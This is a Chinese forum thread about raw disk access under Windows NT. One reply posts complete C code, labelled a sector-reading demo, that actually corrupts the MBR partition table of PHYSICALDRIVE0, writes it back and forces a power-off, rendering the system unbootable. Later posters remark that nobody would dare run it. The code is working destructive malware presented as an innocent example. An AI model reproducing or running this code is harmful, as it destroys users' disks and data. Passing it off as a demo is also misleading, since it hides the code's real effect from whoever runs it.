如何在NT下直接磁盘读写? 不要驱动行不行? 为何DeviceIOControl无效?怎样才能有效?(185分)

  • 主题发起人 主题发起人 章慧
  • 开始时间 开始时间

章慧

Unregistered / Unconfirmed
GUEST, unregistred user!
如题,就这么多分了,急,多谢
 
好像不行吧,要做Vxd什么的
 
不可能吧,你要说WDM我还有点信,NT不用VXD的
 
学习!

提前!
 
关注!用API行吗?
 
不行,什么都不行!
NT用的是硬件抽象层,不是9X用的VXD,对NT下的硬盘进行IO是操作不可能的
 
你可以从ring0层下功夫,你有必要找一点windows驱动程序编写的书来看
 
如果说API不行,Windows为何提供DeviceIOControl接口?并且Win32Hlp指明NT有效?
我不能同意fanwei的意见,是否与权限相关?

另外,请教SetPrividge的问题,因为Help显示No document
谁有完整的?
 
我的论坛里的一篇帖子。 C 写的。 演示如何在NT/2000下直接读取硬盘扇区
http://www.bj99.net/bbs/dispbbs.asp?boardID=16&RootID=63&ID=63&page=1

//演示如何在Windows NT/2000下对硬盘物理扇区读写
#include <windows.h>
#include <winioctl.h>
//---------------------------------------------------------------------------
void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;

ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);

NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}


void WINAPI KillNT()
{

HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i;

char *drive = "0";
wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);

if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
}

bytes = 512;

bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);

if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}


*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3; i < 510; i++ )
{
*(szBuff + i) ^= 0x926;
}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

CloseHandle(hDevice);

wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);

if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);

CloseHandle(hDevice);

ExitWin();

}


void WINAPI OSVer()
{

OSVERSIONINFO osi;

osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if (GetVersionEx(&osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}

}


WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{

OSVer();
return 0;
}


作者 sinister@whitecell.org
 
在9x下才用DeviceIOControl
NT 2000下用DeviceIOControl是杀鸡用牛刀,只需CreateFile('//./PHYSICALDRIVE0',...
或CreateFile('//./C:',...
各位大虾有空请看看我主页,我年底将出版的书将讲到9x NT 2000下读写磁盘...
 
不知道直接用汇编行不行?呵呵.
 
王寒松,你这段代码也太狠了吧,谁敢运行啊。
 
确实不敢乱运行
你能不能提供一个仿佛9x下的Dio的包直接对Sector进行读写操作?
但是不知道是否能这样访问一个非FAT/NTFS驱动器?
因为我的应用是为了读写一个自建的操作系统的驱动器
多谢啦
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
1K
DelphiTeacher的专栏
D
后退
顶部